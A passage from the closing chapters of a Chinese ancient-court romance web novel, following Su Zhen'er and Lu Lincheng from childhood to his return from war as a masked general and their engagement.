苏承煦推说自己尚有功业还没完成,陆麟城则表示自己年纪还小,不考虑这种事情。 让姑苏城内的待嫁女儿们抓心挠肝的痒。 男子组马球赛的彩头是一件直领对襟的双面苏绣披风,正反都可以穿。 苏绣昂贵,听说这披风是绣娘们花费数年才制作而成。 作为武将之后,苏承煦和陆麟城这两个人跟不学无术的少年郎们对打,那真的是碾压式比赛。 因此,比赛才开始没多久,陆麟城和苏承煦就获胜了。 苏承煦享受着众人的喝彩声,低头看了一眼那披风,觉得颜色不衬自己,直接甩给了陆麟城。 “我记得你喜欢黑色,给你了。” 黑色的披风搭配双面苏绣,隐隐透出一股贵气。 陆麟城拿着披风回到棚下。 此次出行,是梁芸带着三个孩子出来的。 英国公和陆麟城的父母已经去往前线战场,短期内是回不来了。 按照年岁,苏承煦今年就该去了,陆麟城再过几年也该去了。 原本梁芸是想着让苏承煦走文官路子,好好读书,日后参加科举考试。 只可惜,苏承煦不是个读书的料子。 陆麟城倒是个读书的好料子,可惜,他喜欢研读军事书籍,在武学上的天赋亦是极佳,也想走武将的路。 如此,梁芸虽担心战场上刀剑无眼,但也无法阻挡两位少年郎的拳拳中二之心。 幸而前线战场之上,他们的父亲都在,还有阿雅娜这个神医。 “甄姐儿呢?”苏承煦拿起桌子上的茶碗就喝了起来。 “她去更衣了,怎么还没回来?”梁芸偏头朝某处看了一眼。 苏承煦忙着要去打下一场,“闻严,你去看看。”说完,苏承煦举着杆子在其他兄弟的召唤下又下场了。 “你刚刚打完球,休息一会,我去寻甄姐儿。”梁芸站起来。 “天热,伯母休息,我去。”陆麟城做了一个缉,转身出了棚子。 梁芸欣慰地坐回去- 苏甄儿站在檐下发愣。 十二岁的少女褪去了儿时的肥软,透出几许少女的青涩懵懂,初显出姑苏第一美人的颜色。 她贴墙站着,时不时踮脚看看。 虽然之前母亲就跟自己说过这种事情,但苏甄儿怎么也没有想到会在这种时候来。 现下大部分人都在前面看马球,这里的更衣室内只有她一个人。 苏甄儿想的是,母亲不见她回来自是要来寻她的。 因此,她安静站在这里等着母亲过来,就算母亲不过来,也会有其他女孩子过来。 可苏甄儿没想到,她等来的人居然是陆麟城。 十五六岁的少年郎,因为生活条件良好,所以提前发育成长,比同龄的孩子更高些,也更好看。 他穿着黑色的衣裳站在那里,宽长的腰带勒出劲瘦的身段,头上梳着高高的马尾,黑眸印在阳光下,隐隐透出淡色的绿,让人想到安静的春水湖面。 “小哥哥。”苏甄儿呢喃叫了一声。 陆麟城上前,走到她面前。 “伯母让我来找你。” “那你,让我母亲过来一趟。”苏甄儿扯着薄纱裙摆,声音更蔫了。 “有事?”少年歪头看她,上半身微微朝她倾斜过去,不是很明显的动作,却莫名显出一股亲近的亲昵感来,与对拒其他女人于千里之外的态度完全不一样。 “就是,就是……”苏甄儿嗫嚅着,雪白的面颊慢慢泛起绯红,“女孩子的那些事情。” 少年愣了愣,他不懂。 “我去替你找伯母过来。” 陆麟城回到马球场,却不见梁氏身影。 一问才知道,梁芸跟同行的夫人一起去泛舟了。 显然,梁芸觉得将苏甄儿交给陆麟城很放心。 一向沉稳的少年脸上难得显出焦色。 他疾步回到苏甄儿所在之地,少女眼巴巴地看着他。 “可以跟我说吗?伯母去泛舟了,我没找到她。” 少女低着头,偷偷看他,“……是月事。” 陆麟城虽是男子,但也知道月事是什么。毕竟他曾同阿雅娜生活过一段时间,看到阿雅娜每月都会换下带血的月事带,有时候蹭到了衣物上,父亲还会帮忙清洗。 “我知道了。”少年沉稳地点头,他上前一步,伸手摸了摸苏甄儿的头顶,指尖触到柔软的发丝,“等我一会。” 苏甄儿乖乖站在这里等陆麟城。 少年办事很快,他寻到年纪稍大些的丫鬟,要了月事带和干净的衣物,也将苏甄儿的身量和体重说的很清楚,避免衣物过大。 “绯色的衣物最好。”就连颜色喜好也说了。 丫鬟认识这位少年郎,看他面不改色心不跳的说出女子用的月事带,脸上忍不住露出惊讶神色。 “劳烦快些。”少年皱了皱眉。 丫鬟赶忙去准备,很快就寻到了月事带和衣物。 陆麟城带着东西回到苏甄儿身边,身边还跟着那个丫鬟。 丫鬟有经验,很快就替苏甄儿处好了。 少女整个人看起来蔫蔫的,她从屋子里出来,抬眸看向站在自己面前的陆麟城。 “小哥哥。” 苏甄儿是初潮,虽然之前梁芸有跟她讲过这种事情,但第一次碰到,她还是有些手足无措。 面对少女,少年的脸色明显柔和许多,连语调也跟着温柔了起来,“肚子疼不疼?” 苏甄儿摇头。 “头呢?腰?” 苏甄儿继续摇头。 她都不疼。 身上被披了一件苏绣斗篷,苏甄人嗅到少年身上淡淡的皂角香气。 少年不喜欢用香,最常用普通的皂角香气,苏甄儿嗅到之后却莫名觉得安心。 “我送你回去。”陆麟城替她喜好颈带,打了一个漂亮的蝴蝶结。 苏甄儿点头,跟在陆麟城身后出了园子,坐上马车,跟他先行回府。 逼仄的马车内透着淡淡的芙蓉香,苏甄儿没坐一会就困了。来月事的少女就是容易犯困,这个毛病梁芸也有。 珠帘轻轻晃动,她歪着靠在软枕上,很快就睡着了。 少年微微偏头朝小少女看过去。 她脸上沾着细碎的长发,发髻被压弯了,双手合十垫在面颊下面,睡得不算特别安稳。 陆麟城褪下身上外衫,隔着斗篷披在她身上。 苏甄儿这一觉睡得很长,等她醒过来的时候率先看到的是马车帘子,上面按照她的喜好串了五颜六色的珠子,马车行动的时候珠子乱撞,声音清脆悦耳。 她眨了眨眼,歪头,看到了坐在自己身边闭目养神的陆麟城,也不知道是睡了还是没睡。 苏甄儿悄悄掀开马车帘子看上一眼,他们已经在苏宅内部,夕阳落下,宅子里亮起了灯色,从马场到苏宅不过半个时辰的车程,也不至于天黑到这种程度。 那么就是陆麟城没喊她,而是一直在这里等她睡醒。 马车内安静极了,外面也没有仆从吵闹的声音。 苏甄儿摆回刚才的姿势,从她的角度能看到少年白皙的肌肤和俊美的五官。 苏甄儿轻轻伸出手,点了点陆麟城的手指。 下一刻,少年睁眼。 苏甄儿用斗篷遮住自己半张脸,只露出一双眼,昏暗的马车厢内偷偷看他。 第82章 鬼面将 次年, 各地骚乱频发,英国公一封信件自前方寄来,苏承煦与陆麟城带上装备战甲,准备一同随父上战场。 梁芸抱着奇哥儿前来相送。 苏甄儿站在梁芸身边, 仰头看向苏承煦。 “乖甄姐儿, 等哥哥回来给你带好吃的。” 苏甄儿被苏承煦掐了一把脸。 她蹙眉拍开苏承煦的手,微微转头看向一旁的陆麟城, 眼睛黑乌乌地盯着他看。 少年目光沉稳地看向她, 道:“我会回来的。” “我也会回来的。”苏承煦复制答案。 “战场上刀剑无眼,不可逞强。”梁芸叮嘱。 苏承煦和陆麟城纷纷点头。 苏甄儿看着两人, 忍不住红了眼眶。 小姑娘才十三岁,正是爱哭的年纪。 “好了,乖乖。”苏承煦扬起自己的胳膊, “你看,你给我的续命缕我都戴着呢,一定长命百岁的回来。”说完,苏承煦抓起陆麟城的手,“你看,你小哥哥也戴着呢。” 陆麟城伸手, 抚了抚苏甄儿的头顶。 “时辰不早, 去吧。”梁芸忍痛开口。 两人作揖,纵马而去。 看着两位哥哥的背影, 忍不住偏头将脸埋进了梁芸怀里, “我讨厌战争。” 梁芸伸手安抚地拍了拍苏甄儿的肩膀,“当秩序崩坏的时候,便只能重新组合新的秩序,这是没有选择的一件事。” 苏甄儿似懂非懂地点头, 泪眼婆娑地望向消失在街头的两个少年郎- 一晃三年,战火虽不熄,但也因为大周将领们的努力,所以大部分大周百姓才能勉强安居。 只是现任皇帝好大喜功,大周表面看似祥和,实际内部早已分崩离析,再加上各地灾患频发,朝廷却不顾民生还在横征暴敛,坚持以武镇压,扰得民怨四起,匪患丛生。 姑苏城外聚集了数百流民,各地藩王也在伺机而动。 梁芸心地善良,一方面在寒山寺为战场之上的战士们祈福,另外一方面也掏出公府家产安置流民。她甚至还与姑苏豪绅官宦们详谈流民安置问题,只是这些人吃饱了拿好了,却一根毛都不肯拔。 幸好因为英国公常年征战,所以获得赏赐很多,家底殷实,撑得起这些流民们的开支。 “甄姐儿,过来用膳了。”梁芸坐在桌前催促苏甄儿。 苏甄儿拿着毛笔正在发呆,没有听到梁芸唤她。 “甄姐儿。”梁芸又唤一声。 苏甄儿回神,搁下毛笔,坐到梁芸身边。 “发什么呆呢?”梁芸给她舀了一碗珍珠米。 “父亲和叔叔,姨母,还有哥哥和小哥哥什么时候回来?”苏甄儿数着人头,又数了日子。 自去年春,这五人去往彭城之前给他们来了一封信之后,便再没有了消息。 “前几日不是来信说,今年定会回来参加你的及笄礼?” 苏甄儿今年已经十六,按照规矩,她在十五岁的时候就应该举办自己的及笄礼,只是去年战事紧急,她的父兄没来得及回来,便延迟到了今年。 及笄礼是女子一生中极其重要的一件事,像苏甄儿这样的身份,自然是要大办的,到时候半个姑苏城的达官显贵都会过来。 苏甄儿托腮,吃了几口便不用了,她拿起桌子上的把镜,细细欣赏自己的美貌。 少女初长成,苏甄儿对自己的容貌十分在意。也收敛了从前玩闹的性子,最喜欢拿着美人扇安安静静穿着绸制的长裙坐在亭子里成为一幅漂亮的美人图,听别人的赞赏。 外界传言,英国公府嫡女苏甄儿姿容绝色,才华横溢,称得上姑苏第一美人。 作为姑苏城内有名的美人,苏甄儿不止在姑苏城内受欢迎,在金陵城里也有些名声,虽不大,但已足够。去年她那位舅母便托了人来说媒,想给她与她儿子牵线,也就是她那位大表哥梁玉。 对于这位大表哥,苏甄儿倒也有所耳闻,听闻其在金陵城内有才子之名,家中虽只是区区五品小官,还是托她父亲的福气才有这样的门第,但大表哥争气,书读得极好,日后入翰林不是问题。 去年他们没有得到苏甄儿的准信儿,今年腆着脸儿又来了。 “甄姐儿觉得如何?”梁芸询问苏甄儿的意见。 苏甄儿戳着面前的珍珠米,懒洋洋道:“不如何。” 梁芸笑了笑,“到底如何优秀的郎君才能配得上我家甄姐儿。” 苏甄儿的脑中浮现出一个少年身影,可她与他已经多年未见,她甚至有些不记得他的模样了。 也不知道他现在长成什么样子,若是长得太丑,她接受不了怎么办? 可看陆麟城父亲与母亲的模样,他应该长得不会太难看吧? “对了,今年替河南水患筹措善款的事情就交给甄姐儿你去办吧。”梁芸还要负责难民的事,实在是脱不开身。 近几年河南水患频发,梁芸已经处过很多次了,苏甄儿每次都跟在梁芸身边,也早就学会了。 十六岁的年纪,也该学着自己处事情了。 一直闷在寺庙内的苏甄儿正觉得无趣,听到有事情办便赶紧点头,“我去。” 苏甄儿每年都会陪梁芸去牙行,因此牙行的管事已经认识她了。 提前为她安排好二楼包厢,还准备了点心和茶水。 苏甄儿嘴刁,府中厨娘都是有特殊手艺的,因此并未碰包厢内的点心。 绿眉将手中食盒置在桌上,取出从府内带出的点心和奶茶。 苏甄儿褪下帷帽,隔着轻薄的帘子看向一楼。 前头拍卖的都是些旁人捐赠的物件,拍下的价格也都跟实际市场价格差不多,直到苏甄儿给的那支红玛瑙珠花上场,瞬间便引起了骚动。 英国公府嫡女,姑苏第一美人才女,这两个头衔放在一块,整个姑苏城里的适龄郎君哪个不梦? 窈窕淑女,君子好逑。 红玛瑙珠花的价格喊到了五百两,还在继续往上涨。 牙人笑得脸都烂了。 苏甄儿端端正正坐在二楼,手中美人扇遮面,有些意兴阑珊。 平日里她参加的雅集诗会也挺多,这些郎君们看到她也素来捧着,只是苏甄儿都看不上眼。 苏甄儿已经算计着要走了,回寒山寺的路上还能去买份酥酪吃。只是她最近贪嘴,有些胖了,腰都多了一寸,是不是还是节制些的好,可是她正在长身体呢。 突然,一道男声压着一众嘈杂传出,“一千两。” 男人嗓音低哑,却并不难听,反而带着一股冷玉凝声般的珠玉之感,因此格外突出,让人一耳朵就听到了。 苏甄儿下意识侧目从二楼望过去,只见一楼大堂最后面那排阴影之地正坐着一个男人。 秋日风寒,他身上披了件黑色披风,宽大的兜帽遮住大半张脸,只露出一点面具轮廓。 “鬼面……”有人惊呼一声,随后意识到什么,立刻噤声。 苏甄儿也不由自主跟着睁大了一双眼 应该……不可能吧? 他不是在彭城吗? 英国公奉旨在外征战多年,身上军功无数,身旁还有陆家父子相助,听闻那陆家之子陆麟城用兵如神,青出于蓝而胜于蓝,简直就像是天生为战场而生的。 又听闻其面如好女,恐威慑力不足便喜戴鬼面上场,今年更是凭借自己的能力组建了一支鬼面军,所到之地战无不胜,攻无不克,敌人闻其铁骑之声便已害怕的不战而降。 当然,也有传言说他是长得太丑,才戴鬼面具。 “这位客人出一千两,还有比一千两更高的吗?” 周围宾客无人敢出声。 “一千两一次,一千两两次,一千两三次,成交!” 苏甄儿的红玛瑙珠花被这位神秘的鬼面客人买走。 按照规矩,苏甄儿作为此次慈善活动的主办人,应该当面与他见面答谢。 苏甄儿戴上帷帽,起身走了出去。 一楼大堂内众人的视线遥遥往上,看到美人提裙下楼,虽隔了一层帷帽,但依旧能想象到其美貌。 “请客人至园中茶室。”牙人上前,邀请鬼面男人。 男人看似气质冷肃,却意外很好说话,直接便跟着牙人往茶室去了。 牙人按照苏甄儿的吩咐,带人绕了远路。 苏甄儿则绕小路提前到达茶室。 茶室不大,角落里绿眉点起苏甄儿最喜欢的芙蓉香饼。白烟袅袅而起,女子坐在轻薄的屏风后,拿着把镜左照右照,一会儿觉得发髻有些乱,一会儿又觉得自己的口脂花了一个角。 刚才她就不应该用糕点的,弄得现在口脂都花了。 幸好,出门在外,为了时刻保持自己的美貌,苏甄儿会随身带一个木制的小妆奁盒子。也不大,就装了些螺子黛、口脂、胭脂备用珠钗耳环之类的东西。 刚刚补好口脂,那边就传来了敲门声。 “小姐,客人到了。” 苏甄儿立刻匆匆忙忙盖好妆奁盒子,往桌子下一藏。 “绿眉。”苏甄儿示意绿眉去开门。 屋门被打开,秋日阳光肆意,男人从阴暗处走来,身上的黑色披风带着一股风尘仆仆的味道,银制的鬼面具张牙舞爪的戴在他脸上,仅仅露出一双黑色眼眸。 苏甄儿隔着屏风看过去,下意识忍不住紧张起来。 男人抬脚,步入茶室,隔着一座屏风坐下。 牙人站在一侧,欲言又止。 “小姐。”牙人开口。 苏甄儿收回心神,问,“怎么了?” 牙人看向鬼面男子。 男人端起面前的茶盏,触到自己的面具,这才想起来自己脸上还戴着面具。 他放下茶盏,指腹擦过茶沿,代替牙人开口,“我忘记带钱了,你替我垫垫。” 苏甄儿:??? 第83章 是我的 茶室内陷入古怪的寂静。 牙人透过屏风看看坐在后面的苏甄儿, 又低头看看坐在自己身侧的鬼面男人,正在犹豫要不要报官的时候,苏甄儿开口了。 “没钱来牙行?”少女单手抚过面前茶盏,“还拍了东西?” 男人低头, 单手搭在桌案上, “回来的急,有个重要的人要过生辰礼, 怕赶不及。” “哦?”苏甄儿抬眸看他, “很重要吗?” “嗯,很重要。” 苏甄儿摇起美人扇, 唇角也忍不住勾了起来。 她转头朝牙人道:“记我账上。” 牙人神色疑惑地看一眼这位鬼面男人,可因为苏甄儿发话了,所以并没有开口, 只躬身出去了。 茶室内剩下苏甄儿和男子,还有站在一旁的绿眉。 苏甄儿起身,绕过屏风,坐到男子对面。 她已经确认面前之人的身份。 苏甄儿看着眼前张扬诡异的鬼面,放下手中美人扇,微微倾身过去, 双手托住面具下面, 然后往上一抬。 鬼面褪去,露出男人俊美无俦的面容。 这是一张极漂亮的脸, 能看出少年时期的轮廓线条, 褪去了那份稚气的青涩,更多了几分冷冽杀气。 可分明是这样裹满杀气的一个人,在垂目看向面前的少女时,眉眼意外的柔软。 “让我猜猜, 这位难道就是传说中的鬼面将军?” 把玩着手里的鬼面具,苏甄儿单手托腮看向男子,心里想着,幸好是没有长残。 “嗯,是将军了。”男人点头,一点都不谦虚。 大周最年轻的骠骑将军,比他父亲的职位还要高。这两人在军营里,一般各论各的。 “我父兄呢?还有叔叔和姨母。”苏甄儿将鬼面还给陆麟城,然后拿起桌上的美人扇遮住自己半张脸。不知道为什么,看到男人的脸后再与他对视,她竟然莫名其妙有些害羞。 “他们后日到,我骑马快,提前回来了。”男人视线下移,落到那柄美人扇上。 芙蓉锦绣,花团锦簇的美人扇,却不及面前女子的三分风华。 “看什么?”苏甄儿不自在地捏紧了扇柄。 “好看。” 少女心头一跳,“什么好看?” 陆麟城端起茶盏轻抿一口,唇角微扬,“扇子。” 苏甄儿:…… 苏甄儿将手里的扇子往陆麟城怀里一扔。 看你的扇子去吧! “绿眉,回府。” “是,小姐。” 绿眉打开茶室大门,苏甄儿戴上帷帽出门,男人起身跟在她身后,刚刚迈出几步就听前面的苏甄儿与牙人道:“这位客人说要自己付账。” 陆麟城:??? 牙人立刻侧身拦住男人。 果然是要赖账! “客人预备怎么付账?” 陆麟城:…… “我给你写个欠条……” “来人呐,报官!”- 苏宅内还留着给陆家人的别院,平日里一个月打扫一次,因为长久没有人居住,所以显得有些半旧。 陆麟城从官府处完事情回来,路过苏甄儿的院子,再往别院里去,推开门,看到窗前新放的芙蓉花,粉白色泽,新鲜垂露,用上等的白玉瓶装着。 男人忍不住笑了一声,身后传来吴总管的声音,“城哥儿回来了。” 陆麟城转身,看到提着灯笼的吴总管。 “吴伯。”陆麟城拱手作揖。 不过几年,比起这些磅礴新生的生命,吴总管看起来一瞬老了许多。 可他依旧慈爱良善,“甄姐儿说你回来了,让丫鬟替你打扫了屋子,还让厨房给你准备了爱吃的菜,又亲自去园子里给你摘了芙蓉花。” 陆麟城眸光轻闪,“嗯,我知道。”- 梁芸还在寒山寺里没回来,苏甄儿提前回府之后差人给梁芸去了信。 梁芸差人过来说,等她将这里安顿好便回来。 因此,今日晚间只有苏甄儿和陆麟城两人一道用膳。 桌子上摆着陆麟城爱吃的菜,比起苏甄儿精细的口味,陆麟城的口味更重一些。因为常年行军在外,所以身体需要的能量更大,才会贪食一些口味重的东西。 “听说那牙人报官了?”苏甄儿坐在陆麟城身边,说话的时候忍不住发笑。 陆麟城偏头看她一眼,“甄甄消息很灵通。” 那当然了,她有芙蓉馆。 “你怎么回来的?” “写了欠条。” 陆麟城夹起一块樱桃肉放进嘴里,酸甜的口感化开味蕾,柔软的汤汁浸着肉,入口即化。 “噗。”苏甄儿忍不住笑了出来。 陆麟城凉凉看她一眼,“我要跟伯母说这件事。” “不行。”苏甄儿立刻收敛笑容。 要是陆麟城把这件事告诉梁芸,她一定会挨批评,最重要的是会被扣零花钱! “哦,那你求求我。” 苏甄儿:…… “吃饱了,听说伯母在寒山寺。”陆麟城站起来,刚刚转身,就感觉自己腰间一紧。 他低头,苏甄儿扯着他的腰带,可怜巴巴,“小哥哥,我错了。” 他走时,少女才十三岁,豆蔻年岁,还没长开,如今十六,虽只短短三年,但身段却拔高不少,眉眼如画,鬓发如云,打扮的恍若仙子人物,若非身上那股熟悉的特殊芙蓉香,他一时间倒还真不敢认。 “你不能这样对我,我还给你摘了芙蓉花呢,那是我养在园子里,最喜欢的一种。” 少女眨巴着眼,继续可怜巴巴。 “小姐,夫人回来了。”绿眉从外面进来通风报信。 苏甄儿立刻攥紧了陆麟城的腰带。 梁芸听说陆麟城提前回来了,便赶紧处完寒山寺的事情后坐马车回了姑苏城。 “城哥儿。”梁芸提裙进来,身后还跟着年纪尚小的奇哥儿。 陆麟城出门前,奇哥儿还是个胖墩子,如今已经七岁,抽条长高不少,若非是站在梁芸身边,他在路上遇到都不敢认。听闻其在读书方面非常有天赋,小小年纪已经能做诗词歌赋,教授他的老师也频频称赞其天资聪颖,日后必成大器。 对比大儿子苏承煦这个走武将路子的,奇哥儿这个明显走文人路子的种子选手让她安心不少,起码不会有生命危险。 “伯母。”陆麟城拱手行礼。 梁芸上前伸手虚扶一把,“我怎么听说你进衙门了?” 苏甄儿瞬间感觉不好了。 她站在陆麟城身后,不敢露脸,一味扯他。 “没事,去衙门处点事情。” “处好了吗?有需要伯母帮忙的地方可千万不要客气。” 陆麟城点头,“已经处好了,伯母用膳了吗?” “回来的急,还没用呢。如果不是听说你进了衙门,我明日才回呢。”说完,梁芸牵着身后的奇哥儿,“这是你陆哥哥。” 奇哥儿乖巧道:“陆哥哥。” 陆麟城点头,“奇哥儿一下长这么大了。” “是啊,一晃眼都长大了。”梁芸忍不住叹息一声,随后又赶紧让大家落座,“快坐下吃饭,饭菜都要凉了。” 四人落座,丫鬟上前添了碗筷,梁芸又让小厨房多做了几个菜。 陆麟城虽话少,但梁芸问什么,他答什么,看起来十分乖巧。 “对了,方才我回来的路上遇见周夫人,她家女儿周小姐如今十八,比你小几岁,想让我做个媒,城哥儿可有意?” 苏甄儿手里的筷子敲到碗,发出清脆声响。 梁芸看她一眼,又道:“金陵那边你舅舅家又来信了,还给你送来了你大表哥的画像,我放在马车里呢,过会儿让吴总管给你取来。” 饭桌上,两人都没有说话。 苏甄儿咬着唇,低头戳饭。 一顿饭,除了梁芸,苏甄儿和陆麟城都成了闷嘴葫芦。 梁芸一路奔波回来也累了,用了没几口便回屋歇息去了。 饭桌撤下,丫鬟送来茶水,苏甄儿端起轻抿一口,看一眼坐在自己身旁的陆麟城,率先开口,“周家那位小姐我也认识,容貌才情确实不错。” 陆麟城端起茶盏,吃上一口,“金陵那位我虽不认识,但听闻其书读得很好,日后入翰林进内阁不在话下。” “哦?那小哥哥是觉得我大表哥很好了?” 陆麟城放下茶盏,“甄甄也觉得那位周家小姐很好?” 两人对视,各怀心思。 苏甄儿朝陆麟城伸手,“还我。” 陆麟城从怀里掏出她的美人扇。 苏甄儿抬手接过美人扇,用力扇了扇,很不小心地扇在了男人脸上。 陆麟城:……- 秋日燥热,连带着苏甄儿的心情也跟着起伏不定。 她伏在书桌前,拉开抽屉,里面装着她跟陆麟城这几年的信件。 虽都是些平常问候之语,但却被苏甄儿小心珍藏。 少女情动,不知何时起,却在今日看到男人的瞬间越发萌动。 “小姐。”绿眉替苏甄儿端了奶茶进来,然后忍不住兴奋道:“没想到陆将军长得这么好看,看来外界传言说其因为丑陋,所以戴鬼面的说法是假的,这些传谣的人一定是嫉妒将军的美貌。” 苏甄儿歪头看向绿眉。 绿眉继续道:“那位周夫人真是好眼光啊。” 苏甄儿扬头,“眼光确实不错,可他是我的。” 下一刻,苏甄儿身侧的窗子被推开,露出男人那张美到过分的脸,“我是谁的?” 【终章】 第84章 我爱你【完…… 四周骤然安静, 苏甄儿的话梗在喉咙里,她捏了捏扇柄,偏过头,伸手抚了抚发髻一角, “我没说话, 你听错了。” 主打一个死不承认。 陆麟城也没有刨根究底,他将手里的画像隔着窗子递给苏甄儿, “伯母让我给你送画像。” 什么画像?苏甄儿愣了愣, 然后才想起来今日晚膳时梁芸说过金陵那边送来了梁玉的画像。 她单手握住画像,拿……没拿过来。 苏甄儿神色疑惑的朝陆麟城看过去, 男人才松开手。 奇奇怪怪的。 拿过画像,苏甄儿解开上面的系带。 画像展开,绿眉也忍不住跟着凑上来。 屋内灯色明亮, 画像上的男子容貌一清二楚。 少女脸上的表情扭曲一瞬,随后恢复平静。 “天呐,这表公子怎么长得这么丑?”绿眉没忍住,下意识惊呼出声,“不是说这位大公子在金陵城内是有名的俊秀才子吗?金陵城的人品味这么差的吗?” 画像之上的男人穿了件青色袍子,手持书卷, 明显是在摆动作让画师作画。身姿确实不错, 只是这脸上……一脸的麻子和胡须,还有熊猫眼。 苏甄儿微微抬眸朝窗后的陆麟城看过去。 画像上笔墨新旧都不一样, 很明显这幅被人动过手脚了。 至于这动手脚的人是谁嘛……苏甄儿视线往下, 看到男人指尖处还没来得及擦干的墨水。 陆麟城偏头避开苏甄儿的视线,顺便将手往身后藏了藏。 “小姐,这金陵城来的媒婆也太胡言乱语了,将那表公子吹得天上有地下无。”绿眉生气, “这样的哪里配得上小姐你嘛。” “噗。”苏甄儿没忍住,笑了一声。 绿眉:…… “小姐,你都不生气的吗?”绿眉叉腰。 苏甄儿笑着道:“生气呀。” 绿眉:……小姐这是气疯了吧? “小姐,我这是几根手指呀?”绿眉朝苏甄儿伸出了三根手指试探。 苏甄儿:…… 苏甄儿伸出一根手指点住绿眉的额头将人送开。 “城哥儿。”突然,一道声音自房廊拐角处响起。 原本早就该休息的梁芸不知为何突然出现在苏甄儿的院子里,手里还拿着另外一幅画轴。 “那位周夫人半刻都等不得,方才送了自家女儿的画像来,偏要我即刻给城哥儿。”说着话,梁芸已经走到陆麟城面前,然后将手里的画像递给他。 陆麟城双手接过,脸上神色淡漠,看不到情绪。 梁芸朝窗内看了一眼,苏甄儿下意识抬手合上被陆麟城恶作剧的画像,替他遮掩。 “哟,怎么还不让看呢?”梁芸打趣,“难道是看上了?” 握着画轴的陆麟城神色一紧。 苏甄儿不答,反问道:“母亲不是去休息了吗?” “这不是那位周夫人太急了嘛,你瞧瞧,城哥儿也急,我说明日再将画像替你拿来也没事,他今日就替你拿来了。怎么样,觉得如何?” 梁芸再次询问苏甄儿的意见。 苏甄儿没有说话,只是将目光投向站在一旁的陆麟城。 男人摩挲着手里的画轴,垂目与她对上视线,随后又迅速避开。 梁芸看看苏甄儿,又看看陆麟城,暗自笑一下,“行了,我累了,你们明日再给我答复吧。绿眉,外头黑,你拿甄姐儿那个绣球灯送送我,那个亮堂。” “是,夫人。” 梁芸笑盈盈去了,绿眉随在她身侧,替她照路,一时间,窗前屋内只剩下苏甄儿和陆麟城两人。 秋日晚间温度明显比白日里低了许多。 “怎么不看?”苏甄儿示意陆麟城看那位周小姐的画像。 陆麟城抬手,在苏甄儿看似不在意实则紧张的视线中,没有打开,反而是将画像随手抛进了院子里的水缸中。 水缸被砸出一捧水花,惊得里面的鱼儿四处逃窜。水波潋滟,碗莲也跟着随波晃动。 “你怎么扔了?”苏甄儿下意识站起来。 陆麟城突然上前一步,朝窗内探进身子。 这是一个极其冒犯的动作,可苏甄儿却并不觉得讨厌。 她没有闪躲,任凭陆麟城的袖摆擦着她的美人扇,抓起桌案上的画轴,然后直起身,抛进水缸之中。 尚未平息的水缸再次泛起涟漪,两幅画像起起伏伏后被水吃透,沉入缸底。 苏甄儿站在那里,似乎还能嗅到陆麟城身上淡淡的皂角香气。 “小哥哥这是什么意思?”苏甄儿手中美人扇半遮面,只露出一双乌黑的眸。 陆麟城安静地看着她,道:“好看。” 苏甄儿:……又说美人扇好看! 可还不等她发作,男人又道:“你很好看。” 风卷起秋日凉风,送来淡淡的桂花香气。 九月秋凉,桂花漫天漫地的开,到处都是这股浓郁的味道。只有苏甄儿的院子里栽满了芙蓉,可惜芙蓉香浅,都被桂花香遮盖住了。原本苏甄儿是不高兴的,可不知为何,她突然觉得这桂花香气也并没有那么难闻和腻味了。 甚至还……挺好闻的- 可他说那句话是什么意思? 苏甄儿翻来覆去,一夜都没有睡好,翌日一早,顶着青色的眼袋拉开芙蓉帐子。 昨夜陆麟城说完那句话后就离开了,留苏甄儿一个人纠结。 “小姐,夫人让奴婢唤您过去,说有媒人上门说亲了。” 自从去年苏甄儿十五之后,便陆陆续续一直有媒人上门说亲。 “不去。”苏甄儿歪头又趴回去,“让母亲拒了吧。” 绿眉上前,跟苏甄儿说剩下的话,“夫人说了,一定要让小姐过去,不然就要算昨日小姐让陆公子进衙门的事了。” 苏甄儿:…… 苏甄儿磨磨蹭蹭起身,虽然她对外头的媒婆不感兴趣,但她素来对自己要求很高,绝对不会让人看到自己蓬头垢面没有上妆的样子。当然,她没有上妆的时候也很好看。 苏甄儿来到花厅的时候,梁芸正与那媒婆说话。 那媒婆一眼看到苏甄儿,便立刻将她夸得天上有地下无。 苏甄儿微笑颔首,落座饮茶不语,端的高贵优雅。 媒婆也不尴尬,她又继续夸自己做媒的这个男人,“家中亦是武将之家,虽说其父品阶没有公爷这么高,但人家郎君自个儿争气,得了一个骠骑大将军的名号……” 等一下,骠骑大将军? 原本还神色懒散,觉得应付应付就算了的苏甄儿突然神魂归位。 “如今二十岁的年纪,已是这个位置,再过几年定然更加飞黄腾达。最重要的是,那人生得呀,跟天上下凡的神祇一般,若是我年轻个二十个岁……” “咳。”苏甄儿轻咳一声。 那媒婆也自知失言,赶紧打住,“我瞧着呀,那位郎君与小姐是天生一对,站在一处金男玉女,佳偶天成。” 梁芸坐在主位,但笑不语。 苏甄儿忍不住了,她问,“是谁家的郎君?” 媒婆笑道:“是陆家的。” 苏甄儿心头一跳。 媒婆继续将手中画像递给苏甄儿,“这是他的画像,小姐请看。” 苏甄儿矜持接过,指尖紧张到颤抖的打开。 画卷之上,男人垂目站在那里,一袭黑色长袍,身型颀长,眉眼俊美,大概是画师的画工太过高超,苏甄儿还能从中看出几许男人的窘迫。 连上战场都不怕的一个人,居然怕画像。 苏甄儿唇角的笑怎么都压不住,她合上画卷,低眉垂目,乖巧道:“婚姻大事,父母做主,女儿没有意见。” 梁芸没忍住,横了自家矫揉造作的女儿一眼。 看中了就是父母做主,没看中就是让她出面当坏人。 不过今日陆麟城前来提亲,梁芸心中也难掩欣慰。 这两个一个是她的女儿,一个是她看着长大的孩子。 两人从小相识,感情深厚,可谓青梅竹马,分隔异地期间亦是书信往来不断。 两人的情意她看在眼中,陆麟城也曾私下寻过她,与她说明了对甄姐儿的感情,并且言明定会先建功立业再上门提亲。而他也按照约定,坐到了骠骑大将军的位置。 两情相悦,她为何要阻拦呢?- 亲事就这样定下来了,姑苏城内多了两批伤心的单身男女。 雨后园内房廊下,苏甄儿坐在美人靠上,看着陆麟城送来的聘礼单子,面露惊讶。 “这么多东西,你是从哪里拿到的?” “我攒的。” 皇帝好战,对于武将的赏赐也不吝啬。 苏甄儿歪头看一眼坐在自己身边的陆麟城,单手托腮,调戏道:“不会又要我代付吧?” 陆麟城:…… “不会。”他面露窘迫,伸手握住苏甄儿搭在美人靠上的手。 少女面色微红,任凭他牵着自己。 “甄甄,我爱你。” 苏甄儿羞红了脸,语气很轻,“我也爱你,陆麟城。” 三日后,英国公一行人回来,听说了苏甄儿和陆麟城定亲一事,高兴的直拍陆麟城的肩膀,“我早就看好这小子了,想着让甄姐儿考虑考虑,没想到这小子先下手为强,早看上我们甄姐儿了。” 